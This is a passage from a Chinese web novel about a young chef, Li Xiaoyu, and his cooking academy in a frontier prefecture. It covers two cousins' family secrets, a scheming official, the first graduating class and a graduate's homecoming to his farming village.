黎小鱼塞了个牛肉串进凌少卿嘴里, 成功的堵住了他的话匣子。
倒是柳玉攀那边也闹起来, 说他也要吃双皮奶,不能给小猫儿, 给他表哥,偏偏不给他。
黎小鱼觉得自己一下子多了两个儿子,全要哄着。
“在厨房,自己去拿。”
他今天本就想带兄弟二人过来烧烤,也备了双皮奶做甜点。
三人份的。
那时候也没想到回去的时候会给小猫儿断官司。
不过他罚的是柳玉攀明天不能吃,今天不算,就让他吃吧。
柳玉攀晃悠悠的去厨房翻找,看到了小饭馆熟悉的食盒,打开一看,是三碗奶香十足的双皮奶。
他乐呵呵的拎出去。
吃着双皮奶,柳玉攀先是乐呵,后来情绪上头,又哭了。
对黎小鱼嚎说对不起,刚开始的时候不懂事,对他不好,让黎小鱼别怪他。
黎小鱼还没应声呢,凌少卿也期期艾艾的说了起来,“师父,我以前目中无人,自以为是。都没有真的去小饭馆尝过,就认定师父偷师。我也不好,师父你原谅我吧。”
两人捧着双皮奶的小碗,瞪圆溜了眼睛,期待又无措的看着黎小鱼。
黎小鱼确认兄弟两虽然没彻底醉,但也有点神智不清了。
他一手按一个,轻轻的拍拍他们的头,“知错就改挺好,原谅你们,下不为例。”
凌少卿猛点头,“师父你真的太好了!”
柳玉攀往他表哥身上一栽,迷糊糊的说:“表哥,你师父真好。”
黎小鱼没理两个小醉鬼,自顾自的吃着烤串,只提醒了一句,“小心双皮奶撒了。”
两人闻言,齐刷刷坐正了,开始吃香甜滑嫩的双皮奶。
啊,双皮奶真好吃啊。
三人食量不小,烤的串全部吃完了。
后面没有再喝酒,晚风吹了一会,凌少卿和柳玉攀也醒酒了。
毕竟没有断片,两人对微醺时发生的事记得一清二楚,凌少卿不觉得有什么。
他和黎小鱼相处这些日子,总会因为黎小鱼温和待人,下意识的会对他撒娇示弱,就是想得到黎小鱼的宽慰。
这事他早就暗戳戳干过好几次,压根不觉得害臊了。
倒是柳玉攀有些不太自在,不过想到黎小鱼好脾气的回应他,还给他留双皮奶吃,心里一边害臊,一边又觉得黎小鱼这人真好。
他没见过这样温和包容的人。
柳玉攀不由得多看了黎小鱼两眼,这人真是个矛盾又吸引人的存在。
他够狠,聪明也有手段。同时,又很温柔,心思细腻。谁靠近他,都会忍不住的想要靠的更近。
因为和黎小鱼相处很舒服,他对谁都很好。前提是,对方没有找茬使坏。
柳玉攀庆幸自己挨了顿打后,脑袋清醒了,没有再和黎小鱼作对。
其实那顿打,反而让他不仅不想和黎小鱼作对,反而想贴近他。
从小到大,没人教育过他什么。
只有黎小鱼,让他做错事就要受教训,以后记着疼,不要再犯,好好的做个人。
这些话,柳玉攀一直藏在自己心里,就连表哥他都没说。
三人收拾好后,一起走在路上。
周围静悄悄的,月亮与繁星作伴。
柳玉攀绕到黎小鱼身边,小声道:“谢谢。”
黎小鱼目视前方,声音很轻,“要好好的活着。”
精神言语上的攻击,一点不比殴打身体来的轻。
他能想象到柳玉攀从小到大承受的痛苦,坚持到现在,真的很不容易。
黎小鱼的话,让柳玉攀愣了好一会。
最后他轻笑一声,“好。”
兄弟两说开了,柳玉攀也因黎小鱼的那句话,心里的苦闷散去的更多。
两人又是一觉睡到天亮,看到黎小鱼留下的字条,告诉他们锅里留了饭,记得热了吃。
吃完饭,彼此对视一眼后,兄弟两决定不再躲避,回去好好的面对。
他们不想给黎小鱼添麻烦。
小猫儿知道他们要走,又有些不舍,问他们什么时候再来找他玩。
柳玉攀说:“不确定,不过事情解决了,一定第一时间来找你玩。”
小猫儿点头,“那你下次来,我给你玩一会我的拨浪鼓和小风车。”
这可是小猫儿最喜欢的两个玩具。
柳玉攀还有些受宠若惊,“一准来。”
兄弟二人离开的时候,顺便把猫儿带去了小饭馆。
他一个人在家,他们也不放心。
黎九州叫了方石头去学院那边,告诉黎小鱼凌少卿他们回家去了。
下午的时候,贺辞也翘课过来,告诉他这个消息。
还加了一句兄弟两回去后的情况。
“凌将军气的不行,把两人丢祠堂关起来了。”
黎小鱼皱眉不高兴呢,“好不容易回去了,有话不能好好说吗?”
把人关起来能解决什么事情?
贺辞笑了一声,“他们都这个脾气,没法好好说。凌将军这次没揍人一顿,已经是意料之外。”
他看黎小鱼没有太惊讶或是松口气的样子,不像是刚知道他们两回来的消息,“他们之前找你了?”
人已经回去,黎小鱼没瞒着,“嗯,在我那住了两天。”
这下换贺辞不高兴了,老大不爽,“你怎么能让他们住你家呢?我都还没住过。”
黎小鱼搞不懂贺辞,但他知道,贺辞是真不高兴。
“那小侯爷也去住两天?”
贺辞不气了,“好,我和你住一屋就成。”
“当我没说。”黎小鱼毫不犹豫的拒绝,并且撤回了前面的话。
贺辞不死心,追着降低要求,“我打地铺,我睡你门外,我住隔壁……”
贺辞最终也没能去黎小鱼家住两天,因为黎小鱼不同意。
凌府的消息,也没有再传出来。
黎小鱼虽说担心,但也相信,兄弟两能好好的面对一切。
学院有一些学生学的快,差不多能出师了。
黎小鱼让他们在小饭馆,还有麻辣烫铺子前支两个小摊子,轮流去做。
算是毕业前的实习。
两个铺子都有忠实的食客,每天的客流量也不少。
突然在铺子门口看见多出两摊子,摊主不是缺胳膊,就是少腿的,这引起不少人的好奇。
后来一问才知道,原来就是那厨师学院里出来的。
厨师学院的师父是谁,在清云府那是无人不晓。
可不就是这小饭馆,和麻辣烫铺子背后的小东家吗。
这小东家厨艺实在不错,菜色也都很新奇。
不知他教出来的徒弟手艺怎样,看着也是没吃过的,买个尝尝咸淡。
摊子刚来人的时候,大家伙心里也紧张,就怕做不好。
但这事也不是怕就行的,而是必须做好,要是做不好,他们被说不要紧,可要坏了师父的名声,那就是他们的不对了。
这一批出来的,都是军营里的将士。
他们的意志与心性,比起常人来说,要更坚韧坚定。
在意识到不能出错后,别管心里多紧张,手上功夫半点没出差错。
随着手下动作,逐渐冒出的食物香气,也叫食客们更加的期待食物。
别说,煎饼果子还挺受欢迎的。
这两铺子周围,都是些不差钱的主,可舍得花钱了,加的都是肉。
那秘制酱料往上一抹,咸香微甜,薄脆口感特别,脆脆的带着油香,一口接一口,压根停不下来。
卖葱香油饼的生意也不错,油饼外皮微酥,内里绵软,面粉筋道,葱香四溢。吃一口,满嘴的香,软呼呼的叫人喜爱。
这边人有钱,葱香油饼也会加钱,添一些肉沫,或是鸡蛋味道更好。
不过光是只有葱,也极香好吃。有人一买就是二十块,就要葱香的,吃的就是这香味。
学得快,拔尖的已经开始出去摆摊,虽然是轮流来,可这钱是真的实打实的到手里了。
不仅如此,他们还能通过摆摊,发现不足,加以改进。
比后面再像个无头苍蝇一样乱碰来的好。
两铺子前摆的摊子,每天卖的食物都不一样。
不知道第二天卖什么,到了地方才知道,有些食客觉得这样挺有趣,每天都期待的不行。
也有一些食客爱上了固定的吃食,一连好几天都不是,可把他们馋坏了。
清风楼的小倌们,最近被钱老大勒令,一天只能吃一个窝头。要是饿,就喝水。
因为隔壁麻辣烫铺子,加上那些个不重样的小吃摊子,他们都胖了!
之前的衣服都差点穿不上!
晚上跳舞都飞不起来了!
就连那一身腱子肉的,一摸肚子,手感都有些肉乎乎的了。
再让他们这样吃下去,他清风楼关门得了。
小柳站在楼上的长廊,盯着楼下的小吃摊子看。
一个小倌将人拉走,“别看了,再看也吃不着,白馋得慌。”
第56章 第 56 章
厨师技术学院在招生的时候, 名声已经传遍了清云府。
江渚松自然也知道。
对于黎九章派人招学生,去学院学做菜。还以官府的名义,签订契约, 允许贫困的先学后交费。
不仅如此, 更是允诺在辞州境内的, 可以给他们安排地方支摊子的这些事, 他全都一清二楚。
这些都是黎九章为了笼络人心的手段。
江渚松是看不上这点微不足道的人心, 又不能当银子使,还吃力不讨好。
想想也是有趣, 黎九章竟敢对外说能找地方支摊子。他说能找到就能找到?
哼, 到时候只要他不允许,天王老子来了, 那些摊子也摆不起来。
“大人, 东西买回来了。”
小吏这几日都按着江渚松的要求, 将学生们出来摆的小摊上卖的吃食,全都买了一份。
今天是灌汤豆腐和烤面筋。
灌汤豆腐里汤汁浓郁, 咸香酸辣。油炸过的豆腐, 又软又香。
烤面筋在烤前用秘制的调料腌制入味, 外面烤的焦香一层,内里有味,口感筋道弹牙。
食物的味道香辣霸道,瞬间侵袭屋内。江渚松招招手让小吏将食物送去。
灌汤豆腐是用的竹筒, 要另外多给两文钱。
如果自己带碗去,就不用这两文。
汤汁和酱料那都是秘方, 香的不行, 吃一口就难以忘怀。
豆腐也不知道怎么做的,竟然能这样的好吃。
江渚松吃的连汤都没放过, 一口下去,香辣爽口。
边上的小吏闻着味道,馋的忍不住吞口水。
他悄悄的吞口水,心里忍不住的想,黎小鱼也不知道哪里来的这些菜谱教人。
这几日他几乎没买到重样的不说,关键是每一样都很香,很好吃。
小吏想着那烤面筋一串两文钱,老大一串,倒是能下值后买一串解馋。
江渚松吃饱喝足,小吏递过一杯清口茶。
不得不说,黎家的在做吃食上,是个厉害的角色。
如果是他侄子就好了,靠着这些新奇的小吃,定然能大赚一笔。
辞州苦寒,美食除了牛羊肉,其他都算不上。
一下子出来这么多,眼花缭乱的同时,也激发着购买的欲望。
且都不算太贵,至少城里住着的只要想吃,隔三差五的,也能买些来解解馋。
还是整个辞州都分布这些吃食摊子,背后带动起来的东西可就多了。
就说着串面筋的签子,都能养活一些人。
可惜了,是黎九章的侄子。
人为财死,鸟为食亡。
姓黎的不站在他这边,他又想要钱要权,那姓黎的只有两个下场。
要么滚,要么死。
吃了这么多天,江渚松全然清楚,黎小鱼也不是个善茬。
他会的实在太多。
多到已经能威胁他了。
好歹他也是当官的,黎九章的盘算,他能猜到一些。
那些没用的民心,他虽然不在意,但不代表他要让黎九章得到。
积少成多,如果做大了,他也会因此感到苦恼。
既然如此,便只能在初期就扼杀,省的以后再费心费力。
就是可惜了,后面应该吃不到这些美味的小吃了。
江渚松让人开窗通风,他坐在椅子上,闭目养神,脑子里盘算着要怎样才能连根拔起。
……
凌少卿和柳玉攀回凌府后,先被凌怀远关了七天。
吃喝上倒也没亏待,每天都叫人送兄弟两爱吃的去。
两人也没闹腾,该吃吃,该喝喝。
这七天不仅没伤心难过吃不下,还把离家出走那几天掉的肉,给吃回来了。
凌怀远每天听着手下人汇报兄弟两的状态,是又气又欣慰。
气他们离家出走不知错,就知道吃和睡。
欣慰的也是他们还能好好的吃和睡,没有被压垮。
站在俩孩子的角度来看,这事实在是难以接受了一些。
凌怀远寻思也晾一段时间了,过犹不及,便叫人开了祠堂,把人提溜到书房去。
武将的书房,大多是兵书,沙盘和收藏的一些兵器。
凌少卿从小就怕来书房,因为他爹的书房里有个鞭子,抽人特疼。
两人刚进书房,门就被关上。
书房里兵器多,外头又有不少的竹子遮阳,显得阴沉沉的。
兄弟二人没忍住打了个哆嗦,硬着头皮往前走。
柳玉攀小声道:“表哥放心,姨父打你的话,我替你挡。”
凌少卿感动的不行,“好弟弟。”
“你俩嘀咕什么呢?还不快给老子滚过来!”
凌怀远沉声怒吼,兄弟两不敢再耽误,麻溜的滚过去了。
许是之前在黎小鱼那已经得到了十足的安慰,凌少卿这会还有空在心里打趣,幸亏他爹留的长须。若是短胡须的话,应该已经被他和玉攀气的翘起来了。
这么一想,凌少卿也没那么紧张害怕了。
凌怀远也知道孩子是受不了才会跑走,好不容易回来了,不能再发火,要好好说。
可他控制不住这脾气,想想就来气,再受不住也不能说跑就跑啊。
好歹是忍住了没揍人,凌怀远黑着脸,“你俩可知道错了?”
凌少卿点头,“知道了,不该离家出走。”
凌怀远气消了一些,知错就行。就怕还和以前一样,梗着脖子喊没错。
他又看向贴着凌少卿站的柳玉攀,“你呢?”
柳玉攀有些惊讶,姨父在问他吗?
以前不管他做什么,姨父从来不会过问。除非他做的事太过分,并且让姨父知道了,才会不轻不重的象征性的说他两句。
但会狠狠的打表哥,说表哥没看好他。
这还是姨父第一次,主动问他错没错。
若是以前,柳玉攀会高兴,终于有人在意他。
现在的柳玉攀一点也高兴不起来。
他不会真的是姨父的儿子吧。
以前不管是怕被发现端倪,现在管是破罐子破摔了?
不仅是柳玉攀,凌少卿也这样想。
他倒是没有不高兴,但又紧张害怕起来。
这段时间,凌少卿也想明白许多东西。
不管柳玉攀是不是他的亲弟弟,他都会好好的对柳玉攀。
但是,如果是亲弟弟,他会就此疏远他爹。
也会将他娘郁郁寡欢,抱病而终,怪在他爹的头上。
会觉得是他爹做了那样的事情,才导致他娘郁结难消,身体每况愈下。
简单来说,有亲弟弟,就没亲爹。
他不会再认。
因此,对于柳玉攀的身世如何,凌少卿是想知道,又不敢知道。
那边柳玉攀点了头,“知道了。”
说完,他与凌少卿一起,直视着凌怀远。
审视者的身份调转,被审视的凌怀远不太自在的摸了一把胡须。
“你俩想知道的东西,我会告诉你们。”凌怀远严肃道:“但你们要先答应我,听完后不可冲动坏事。”
兄弟二人点头,“好。”
以前的事情,在凌怀远脑子里早就循环了一遍又一遍。
他一一的说给两人听,经过这些年他暗地中的调查和观察,当年发生的一切,都是柳家人搞的鬼。
柳家那时候,其实不算是武将家。
往上数,倒是出过几个将军。只是后面的小辈都不是有资质的,家中更没爵位不可能承袭官职。
本想着武不行,就走文。
结果文也不行。
倒是靠着那越来越少的权柄,在经商上蹚出了一条道。
这也让柳家人清楚的知道,钱没有权好。
有权,才是有了一切。
柳家经商,钱越来越多。也急需一个当官的,能护住家里这些钱。
他们也找靠山,可外人当靠山哪里能有自家出靠山来的让人放心啊。
在打听到潘家的二小姐要出嫁,柳家动了心思。
潘家也是全家被贬,是个文官。在辞州官职低微,说不上话。也回京无望,按理说柳家是看不上的。
但潘家的大小姐却嫁给了凌怀远。
凌家是辞州武将世家,盘踞一地,威名远播。
凌怀远更是战功赫赫,实打实的权柄握在手中,还与定安侯相交甚笃。
于是柳家上门求娶了二小姐,潘夏。
甚至为了娶她,填补了潘家的巨额亏空。潘家人感念柳家出手相助,不像大女婿,身份尊贵又怎样?人是个冷血的,就会一板一眼的说依法办事。
他们很喜欢二女婿,喜欢柳家。
以至于,潘夏被柳家人故意送去与凌怀远共处一室后,潘家人也不听潘夏辩解,不信凌怀远的话,只信柳家的一面之词。
或许不是不信,而是不想信。
大女婿再好,潘家是得不到好处的,因为大女婿总说秉公行事。
他们相信大女婿和二女儿没什么,之后呢?大女婿不会有愧疚之心,也不会因此多照看他们家。
那不如不信。
柳家是一切的主导者,他们以这种肮脏的手段方式,捏住了凌家的咽喉。
凌怀远和潘家姐妹两心里清楚,他们的解释,不会有人信的。
因为睡在一起,是事实。
孩子是不是凌怀远的,也无从查证。
这件事,完全有口难辩。
潘夏怀孕期间,柳家什么人都能来言语侮辱她,吃穿用度上极尽苛刻。
是她自己靠着嫁妆,养活自己,加上潘春的贴补。
只是孩子生完没多久,还想着复仇的潘夏就去世了。
潘春一开始以为是柳家人动的手,直到她看见妹妹手腕上有数道割腕的疤痕。
还是婴儿的柳玉攀,细小的手腕上也有伤口。新的,还裹着白布。
孩子太小,不可能自己割腕。
潘春知道,是潘夏动的手。
妹妹被逼疯了。
为了不再伤害孩子,为了让自己体面一点的死去,潘夏选择了服毒自尽。
潘春一直以来身体就不好,生完凌少卿后更是虚弱。妹妹的事情,让她也跟着一起劳心伤神,郁结忧思过度。
她虽然比潘夏多活了许多年,可也没能弄倒柳家。
一个家族想要扳倒,需要多年的埋线。
潘春没能等到那个时候。
只剩下凌怀远。
一切的真相,凌怀远全都讲了出来。
也说了当初带柳玉攀来凌府,是为保住他的性命。
凌少卿庆幸柳玉攀不是他亲弟弟,他还能有爹。
柳玉攀神色痛苦,呼吸困难。
他看着自己的手腕,那有一条很浅的疤痕。摸着没有凸起,但颜色能够看出与周围皮肤不一样。
柳玉攀指腹按着疤痕苦笑,看来当年他娘割的挺深。
凌少卿注意到柳玉攀情绪低落,靠近他拍拍他的背。
凌怀远也知这孩子自幼命苦,娘被逼疯差点杀了他,整个柳家从上到下都欺辱他。
“玉攀,你是我夫人妹妹的儿子。她们姐妹两情谊深厚,夫人临终前也再三叮嘱我要护你一世安稳无忧,凌家永远是你的依靠。”
凌少卿也连连点头,“表弟,表哥会一直站你这头。”
柳玉攀惊讶于不苟言笑的姨父,会因为他难过而说出这样可以说是温柔的话。
也感念于表哥的关心,最后他想到黎小鱼那晚同他说的好好活着。
柳玉攀慢慢的松开手腕,眼神坚定问凌怀远道:“姨父,柳家那边,有我能做的事吗?”
他知道,姨父肯定要动手对付柳家了。
凌少卿不想把他漏下,跟着问:“爹我能做啥?”
柳家那样对二姨和表弟,还如此污蔑他爹。而且,因为他们做的这些恶心的事,让二姨死了,他娘也因此身体越来越不好,活着的时候每天都不高兴。
不管怎样,他一定要柳家付出代价。
凌怀远在决定说出来的时候,就没想过能拦住这两小的乖乖站一边看着。
与其让他们乱来,不如主动给他们找事做。
“柳家在互市生意很好,你二人可以去互市那边,让生意别那么快交易完成。”
就是让两人去不痛不痒的捣乱,缠着柳家人,让他们分心,烦躁。
凌怀远从二人眼中看出一抹凶意,忍不住叮嘱,“别太过火,不能让人抓住你们的把柄。尤其是玉攀,毕竟是你家,叫人发现了,会说你不孝。”
柳玉攀很想笑,他才不在意这种虚名。
外头说他是疯子的人比比皆是,还怕担个不孝的名头?
“听到了没有?”凌怀远看出来柳玉攀没放心上,沉着脸又问一遍。
要是反驳,姨父肯定不会让他去了。
柳玉攀只能点头,“知道了姨父。”
毕竟是在自己眼皮子底下长大的,凌怀远多少清楚柳玉攀,是个冲动的,稍微激一下就会不管不顾。
他指着凌少卿说:“你要是犯错,你表哥会跟着你一起受罚。所以,行事的时候多动动脑子。别被激一下,就像个莽夫一样往上冲。”
柳玉攀也知道自己这性子,但还是第一次被长辈当着面这样直白说出来,想反驳吧,又不敢。
为了表哥少挨顿打,只好低头,“我会三思再后行。”
兄弟两去互市之前,来与黎小鱼道了别。
黎小鱼知道他们解开心结,也松口气,替二人感到高兴。
转眼过了两月,辞州迈入四月,天气升温不少。
学院地里种的叶子菜开始发芽生长,要不了多久就能摘了来吃。
选择做乳制品的三人,学的很认真,做的也不错。
乳酪,黄油,炼乳和芝士掌握方法之后,做的很快。
不仅如此,他们还能打奶油,方青海和田许山已经打的很好。崔武手臂一长一短,所以还有些不熟练。不过也只是时间问题,他的速度已经越来越快了。
黎小鱼看他们打奶油都佩服的要命,就是容器需要固定好,不然会被转的到处跑。
奶油就是下力气,也没别的。所有的里面,酸奶费的功夫最多,失败很多次。
他们可以用选择用黎小鱼发酵出来的酸奶,直接做引子。这样能够立即成功。
但这样一来,他们也不算是掌握了如何做酸奶。
前头一直弄不出来,还因为尝了一口酸奶闹肚子,光喝药就喝了不少。
好在最后是成功做出来了,这酸奶酸甜又有奶香,味道很不错。
爱吃甜的做的时候可以多加些糖,还能配着鲜果子吃,切好了放里面,那味道极好。
黎小鱼之前想着会教做甜品,学院里修建了五个面包窑,他用做出来的乳制品,做了乳酪蛋糕,还有黄油吐司面包。
出炉后留了给爹娘,小猫儿还有贺辞的。
其他的切了叫方青海,崔武还有田许山三人尝了味道。
毕竟是他们做出来的乳制品味为原料做的,让他们尝尝味道,后面也能有信心好好的做下去。
乳酪蛋糕口感绵密,奶味十足。
吐司面包香甜无比,柔软细腻,吃着带有回甘。抹上酸奶,味道又不一样。
三人没想到他们做出来的白疙瘩,黄疙瘩弄出来的东西,竟然可以这样的好吃。
要是开了铺子去卖,不得好多人买啊。
用来开甜品铺子的铺面,黎小鱼也让夏安帮着找了。
甜品这东西,是卖得上价格的。
地段上也是有要求。
偏一点不打紧,关键是得在富人区。
这样一来,铺子就不便宜了。
因为价格贵的原因,黎小鱼也一直没定。
他倒是想过互市那边的铺子,不过现在除了他没人会做甜品。
学院这边也还没有确认做老师上课的,他要顾着学院这边,去不了互市。
只能在这周围找铺子,每天他在学院做好,专人来运去铺子。
奶酪那些不好卖,没人知道怎么吃。
不过酸奶倒是可以卖。
就轮小饭馆门口的摊位,对面珍馔楼的食客,小摊的吃食都会买去尝尝味道。只要尝了味道,东西就不愁卖。
辞州人爱甜的,酸奶加蜜就多。
这个时节蜜比较多,价格上比白糖便宜,自然选蜂蜜。
味道比白糖更清甜,不腻口。
蜂蜜酸奶奶香浓郁,细腻绵滑又清甜无比,赢得了许多人的喜爱。
这东西唯一不好的,就是放不久。
因为它不好现做现卖,所以每天都卖,固定的两个时辰,卖完就走。
方青海三人赚了钱,更有信心了。以后他们还可以做酸奶放铺子里面卖呢。
随着后面要轮着摆摊实践的学生越来越多,前面摆过多次的学生,要减少次数给后面的人摆。
每个学生都轮着摆了几次后,时间已经又过一月。
三月学期已满,厨师学院的第一批学生们,学成毕业。
在学子们离开之前,黎小鱼与众学子说了留校任教的待遇。包吃包住,每月一两银子,每待满一年,隔年涨工资。
手上班级超过三个,会另外再给补贴。逢年过节会发节礼,也给假休息。
前提是学生要教好,能让他们正常出师。如果是因为老师的原因没能出师,那会扣钱。超过三次,会被开除。
想留下的其实不少,普通老百姓出去摆摊开铺子,也不是那么简单的。
摊位费,保护费,要交的费用多了去。
而且还要起早贪黑,风吹日晒雨淋的。
怎么都没有学院里待着舒服啊,学院吃得好住得好睡得好。
发不了大财,但是足够让一家老小安稳过活了。
尤其是乡下来的那些个,听说一月就有一两银子,眼睛都亮了。
他们在地里忙的要命,一年下来能攒个二三两,都是了不得的人家。
吃喝拉撒都在学院里,分文用不着,一月就能攒一两。
一年就是十二两,都能买一亩中等田。再攒个八两,上等田就能买到。
而且第二年还给加月钱呢。
风吹不着,太阳晒不着,隔三差五有肉吃,一月给一两,还给假让休息。
这些条件太诱人,大家抢着要留下来。
就连原本想回家的,都心动的不行。
因为想留下的人太多,黎小鱼最后还是进行了一轮面试。从品行性格还有掌握的厨艺程度来看,优先看品行性格。
暴躁易怒不细心,责任心不重的肯定不能留下的。教学生多少要耐心,不然吼多了,学生会有逆反心理。
他收的还都是大人,回头一言不合再打起来就不好了。
在黎小鱼面试后,每种小吃选了三人留下任教。
招收第二批学员的时候,选这几样的,黎小鱼就可以放手了。
当然,在他们上课之前,也需要试讲,多熟练怎么教人才行。
丁仁就被留了下来。
他选的是做豆制品,因为豆制教的品种类多。
黎小鱼并没有限制学生们再将他教的东西,教给别人。
他只要求从厨师学院出去的学生们,恪守本心,好好做菜。
不要为了蝇头小利弄虚作假,食材选的不干净,让人吃坏肚子,也让自己的努力白费,坏了口碑。
到了离别的日子,厨师学院正门前的大庭院,站满了人。
大家都抹着眼泪,不舍离开。
这三个月,是他们最开心的三个月。
学到了东西,有了一众师兄弟。
于他们来说,这就是师门情谊。是一种区别于血缘关系,但羁绊又深的感情。
虽然只相处了三个月,但都是在彼此最难的时候遇见,朝夕相处的情谊是真的。
学生们最感谢不舍的还是教他们养家糊口厨艺的黎小鱼,学艺前期他们真的很笨,怎么都学不会。
自己都会急躁不安,怕学不会,大老爷们躲起来抹眼泪。
但师父会找到他们,很温柔的说他们很努力,也很厉害。成功就是需要从失败中积累经验,让他们不要难过,慢慢来,他会教到他们会为止。
他们活到现在,就没听过几句夸。
但他们的师父,总是不吝啬于夸他们。菜切得好夸,进步了夸,终于做成了也夸。
好像他们,真的很厉害一样。
不过师父也有严厉的时候,有人舍不得之前的油,重复用了四次就被师父凶了。
因为违反了不可重复用超过三次的规定。
超过的话,很可能会吃坏人的肚子。不出事还好,万一出事,那就是大问题。
学生们背着行囊,看着那年轻的师父。
他们不舍,但也只能齐声道:“师父,保重。”
黎小鱼听着他们浑厚又嘶哑压抑的声音,也控制不住红了眼眶。
“诸位,要好好生活啊。”
第57章 第 57 章
厨师学院学成的将士们, 都是结伴而行。
他们有的还是老乡,一路上彼此有个照应。
辞州招来的学生们,也都回了家。
丁仁因为要留校任教, 他的行李那些全都放在学院的宿舍里面。
同村赵二狗和孙山石都没能留下, 他们可羡慕丁仁了。
三人一起回的村子, 丁仁帮他们拿一些行李。
赵二狗和孙山石是姻亲, 赵二狗的三姐, 嫁给了孙山石的大哥。
他两人学的也是豆制品,和丁仁是一个想法, 学这个会的多, 感觉划算。
而且豆子成本不高,就是费时间和力气。乡下人家, 最不缺的就是时间和力气。
东西学的一样, 难免会怕后面会因为生意上的事情, 产生矛盾。
尤其是另外两家还沾亲带故的。
丁仁本来是最尴尬的那人,现在, 他成了另外两人最羡慕的。
“丁大哥, 你说我做的那些东西, 要是没有人买可怎么办啊?”
赵二狗对于未来充满担忧,越是这样,就越羡慕丁仁能留下。
至少留在在学院里,没有任何的风险, 直接就能赚钱。
丁仁道:“别自己吓自己。实在不行不是还能卖一些给师父的麻辣烫铺子吗?咱们做出来的那一批,不就是给师父收去了。”
想到这个, 赵二狗心里对于未来的担忧害怕, 少了不少。
孙山石没有赵二狗那么慌,他清楚后面学的人一定会越来越多。
这时候与其想那么多心里害怕, 倒不如抓紧时间,趁着后面去的人没有学成,先抢占市场。
现在只有他和赵二狗两人,等后面人多起来了,就赚不了现在能赚的钱了。
孙山石是恨不得立马到家,然后就开始动手磨豆子。
“哟,那是不是丁家的,孙家的和赵家的?”
“是吗?我怎么瞧着不像啊?”
“是有点不像,不过肯定是他们没错。”
田里的村民们远远的看见人,边议论着边都停下手里的活,往田埂上走。
他们都知道这三人是跟着官差大老爷,去城里学手艺去了。
说是三个月就能学会,现在算一算,时间卡的正好。
当时他们都没有让家里的人去,也不知道这三人学的怎么样。
村民们想要从三人的嘴里打探出东西。
但又怕听到好的。
之前他们因为这种原因拒绝,心里安慰着自己,要是好的话,下次肯定就去了。
但他们其实也没谱,不知道这样的好事下次还会不会有。
就算是还会有,又能不能挨到他们。
要是三人真的说很好,心里多少会有些接受不了。怪自己当初为什么没能迈出那一步,白白错过这个好机会。
丁仁三人脚下走的飞快,趁着人还没围拢过来,快速离开。
手里多多少少都带了好东西给家里,在这里要是被拦下的话,还不知道什么时候才能回到家里。
村民们见他们走的快,以为他们没看见,出声喊了三人,还挥着手想忽视都难。
孙山石朝着后面歉意的说了一句,“叔叔婶婶们,我们行李太重了,先放家去。各位有什么要问的,等歇下来的时候来家里说,都在家呢。”
话说到这份上,村民们也不好再追着拦人问话。
都琢磨着等吃过晌饭后,再去三家溜达溜达,打听一下。
丁仁家最近,赵二狗和孙山石接过自己的东西,对丁仁道谢后各自回了家去。
春耕早已经结束,地里除了除草,浇粪水草木灰,也没别的事。
丁仁刚刚路过自家的地,发现地里没人,想着是都打理好了。
推开篱笆院的小门,果然家里人都在院子里忙活。
喂鸡的,搓麻绳编草鞋的,修农具的,还有准备做饭的。
“大哥回来啦!”
三弟丁义眼神好,看见了人。
一打眼的时候还没敢认呢,印象里大哥精瘦黝黑。眼前的大哥壮实不少,比以前白,看着都俊了。
家里其他人听到动静,也都看了过来。
惊讶于丁仁的变化。
丁老汉手里还拿着农具,又是吃惊又是生气。
“老大啊,爹叫你去城里,是让你学厨艺的,可没让你去享福啊。你是不是拿借官府的银子在外头玩乐去了?”
要不是吃喝玩乐,能把自己养的白白胖胖的吗?
丁仁被他爹的话给吓一跳,“爹你想啥呢,我能干那事啊?我是因为在学院里吃得好,住的好,所以胖了一些。”
料想大儿子也不是有那花花肠子的,丁老汉松口气。心里也对学院更加好奇,也不知是个啥好地方,短短三个月,把他大儿养这样好。
“娘,我带了些东西回来,你给家里分着吃吧。”
丁仁没有行李只背着一个背篓。
背篓里面放着给家里人买的红糖,糕点还有他从小饭馆打包回来的土豆炖牛肉。
丁母看着背篓里的东西,气的拍了一下丁仁,“哎呀老大啊,你咋出去一趟这样败家了?你是啥都敢往家里买了啊,咱家是能吃得起红糖,糕点的吗?还有你那碗里啥玩意?”
干农活的手劲都大,丁仁挨了一巴掌,半边胳膊都麻了。
他硬着头皮回,“牛肉……”
啪的一声,丁仁在意料之中的又挨了一巴掌。
就连丁老汉听到丁仁买了啥,都准备要抄起手里的农具往他身上招呼了。
刚说人没花花肠子,结果就给他瞎买东西败家。
这些银钱省下来,够他们一家十来口人吃多少的饭啊。
丁仁怕再被打,赶紧说了他留校任教的事情。
丁老汉听着觉得像听天书一样,“老大啊,你不会是做梦的吧?”
这天底下,怎么可能会有这么好的活干啊?就算是有,那也轮不着他们这样的人家头上啊。
“都是真的爹,不然我哪里舍得买这些啊。”
丁老汉和丁母先是一愣,随后想也是啊,而且儿子没理由骗他们。两人笑了起来,嘴里止不住念着太好了。
丁仁的妻子和三个孩子,听到这样的好消息,脸上也挂着笑,高兴的不知如何是好。
“娘,我先去做饭了。”
三弟媳王花嘴角轻轻扯了一下,扭头就进灶屋。
众人的笑有所收敛,丁义半点没察觉不对劲,过来对他大哥说:“大哥你放心去教人,家里有我在呢。”
丁仁看到了三弟妹脸上的难受,听着三弟的话,他先是拍拍三弟的肩膀笑了一下。
随后从他娘手中的背篓里拿出糕点,先给丁义家的大宝和大宝一人一块,又给自家的三个孩子一人一块。
剩下的包好,重新放了回去。
孩子们没吃过糕点,香甜软糯的糕点入口后,他们眼睛都瞪大了。
没想到这世上竟然还有比红糖水更好吃的东西。
丁仁见孩子们吃的高兴,他心里也高兴。
抹抹几个孩子的头,丁仁让他们去玩。孩子们跑走后,丁仁看一眼三弟,深吸一口气,转身对丁老汉道:“爹,等学院再招生的时候,叫三弟也去吧。”
听到大哥的话,丁义眼前一亮,他上次其实就想去。但他也知道,大哥是家里顶梁柱,哪有老大轮不到,轮着他的?
在听了大哥说他被留校任教后的待遇,丁义要说心里一点想法也没有,那才是假。
谁不想往上走,把日子越过越好呢。
丁义希冀的看去,丁老汉愁容满面。
他两子两女,儿子都成亲娶妻,女儿也都嫁了出去。
他家的人口在村子里,算是少的。
也就是因为这样,丁老汉才愁啊。
“你后面在学院里教人,肯定是不回来的。老三也去了,家里的地怎么办?”
是啊,地离不开人。
要是都走了,地里活谁干呢?
不种地,一家子又吃什么?
丁义失落垂下了眼帘,心里也清楚了他爹的意思。
对此,丁仁早有预料。
